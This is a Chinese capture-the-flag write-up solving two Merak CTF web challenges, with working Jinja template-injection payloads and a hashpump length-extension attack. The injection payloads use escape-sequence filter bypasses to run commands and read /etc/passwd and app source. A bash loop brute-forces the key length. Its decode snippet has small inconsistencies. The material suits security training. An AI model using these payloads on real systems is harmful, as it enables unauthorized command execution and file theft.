Merak平台wp

Merak CTF

Flask_SSTI

进去只有一个框框,根据题目提示,很明显是模板注入了。

{{7*7}}显示49

说明存在模板注入。但是接下来尝试发现英文句号,下划线和单引号都被过滤了。

这里用到一个技巧:在模板注入的过程中,以下两种语法是等价的:

{{"".__class__}}
{{""["__class__"]}}

这两种也是等价:

{{"".method()}}
{{""["method"]()}}

既然可以将对象的属性用字符串的形式索引出来,我们就可以使用字符串的一些特性绕过过滤. ' _这些字符的规则。

使用ord函数,在模板注入中未成功。

""[ord(95)+ord(95)+"class"+ord(95)+ord(95)]
#失败了,报出Exception

考虑使用转义字符序列,发现可以成功注入。接下来就是常规的操作了。调用OS模块,发现没有回显

{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}}
#返回了0,说明只传出返回值。

此时可考虑使用curl方式将数据带出。但我们可以在此之前,使用读取文件的函数,手机更多关于app的信息。因为没有出现file类,选用_frozen_importlib_external.FileLoader'>这个类中的get_data()方法,payload如下:

{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/etc/passwd")}}

成功读取到密码。尝试读取更多信息,首先要知道app的位置。使用Jinja自带的config变量查看信息,也就是:

{{config}}

查看到如下信息。

<Config {'ENV': 'production', 'DEBUG': False, ... 'APPLICATION_ROOT': '/', ... ,'MAX_COOKIE_SIZE': 4093, 'flag': 'Kn4u>H\x7fd;)F\x12\x1c$;nW\x01\x02elSH;#xwx%%\x1f\\I#X yaR \x1fI\x05'}> ~♡ⓛⓞⓥⓔ♡~

注意到了Application_Root和flag两个字段。flag是乱码,而应用目录显示了应用的位置,是根目录。根据flask程序的文件结构,我们知道存在一个app.py作为主程序。尝试读取这个程序:

{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}

成功读取,内容如下:

import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

def encode(line, key, key2):
 return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3tU', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVTtU')
flag = ""
os.remove("/app/flag")
@app.route('/', methods=['GET', 'POST'])

#程序逻辑

 if '.' in p or '_' in p or '\'' in p:
 return 'Your nickname contains restricted characters!'

#程序逻辑

if __name__ == '__main__':
 app.run(

注意到这里确实过滤了三个符号。而前面的代码显示了flag字符串的加密方法,并且声称flag的文件被删除,所以我们根据加密方法编写解密代码如下:

def decode(newline,key,key2):
    return ''.join( chr(x ^ ord(newline[x])^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(newline)) )
flag_enc = 'Kn4u>\x1c~bj{\x17B@$ll\x0b\x07\x02elVK;"|t\x7f%"\x1f\x0f\x18q^%z3\x07zOI\x05'
#读取的flag加密值
flag = decode(newl, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3tU', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVTtU')
print(flag)

得到flag:flag{fb74f76e-bce7-4dab-8e6d-51efde0a379b}

Cool Hash

一看就是哈希长度扩展攻击,但是缺少信息...

发现源码泄露:www.zip,解压缩得到index.php

这里截取关键逻辑

<?php
        error_reporting(0);
        $secret = "********";
        setcookie("hash", md5($secret."adminadmin"));

if (isset($_POST['username']) && isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $username = urldecode($username);
    $password = urldecode($password);
    if ($password === "admin"){
        die("u r not admin !!!");
    }

    if ($username == "admin" && $password != "admin"){
        echo("new md5:".md5($secret.$username.$password)."</br>");
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            echo("flag{this_is_a_test_flag}");
        }
    }
}
?>

目的是构造password != admin并且username == admin 并且哈希能够匹配。

secret从源码来看是8位,那么加上admin是13位,hashpump中输入命令

hashpump -s 70f36257301b60fb370e72366f3b3f40 -d admin -a emmm -k 13
17e465f6c8c2c3df191240b6d5e56a0d
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00emmm

因为有URLDECODE,把\x替换成%,提交

POST /index.php HTTP/1.1
Host: 4bc07b04-4991-4557-a9ea-69de5e6dd89f.ctfp.merak.codes
...
Cookie: __cfduid=d2805811070326eab4ccd32bc5f3f70ca1575169229; hash=291b202f6f337b1e91722a49f417fb01; user=b6715a3701b5d3b0d624ea8cae54d184
Upgrade-Insecure-Requests: 1

-----------------------------1534681789211822725361541205
Content-Disposition: form-data; name="username"

admin
-----------------------------1534681789211822725361541205
Content-Disposition: form-data; name="password"

admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00emmm
-----------------------------1534681789211822725361541205
Content-Disposition: form-data; name="login"

�交
-----------------------------1534681789211822725361541205--


发现并不正确。

考虑到secret的位数其实是未知的,实际上应该爆破一下。编写bash脚本如下:

#!/bin/bash
for var in 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
do
hashpump -s 70f36257301b60fb370e72366f3b3f40 -d admin -a emmm -k $var | tr "\\" "x" | tr -s "xx" | tr "x" "%" 
done

三次tr分别:把下划线替换为x,把x去重,把x替换为%。执行后输出payload:

bash shl.sh > out.txt
cat out.txt

17e465f6c8c2c3df191240b6d5e56a0d
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%00%00%00%00%00%00%00emmm
17e465f6c8c2c3df191240b6d5e56a0d
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00p%00%00%00%00%00%00%00emmm
17e465f6c8c2c3df191240b6d5e56a0d
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00emmm
17e465f6c8c2c3df191240b6d5e56a0d
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00emmm
17e465f6c8c2c3df191240b6d5e56a0d
...

发现hash值是一样的,去掉即可。把这个文件作为字典扔进BurpSuite:

Screen Shot 2019-12-03 at 01.30.27.png

得到flag:flag{30bed9c1-a2c6-4739-aa39-018fff1491cf}

payload是keylength = 11 时的,说明secret的位数是六位。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342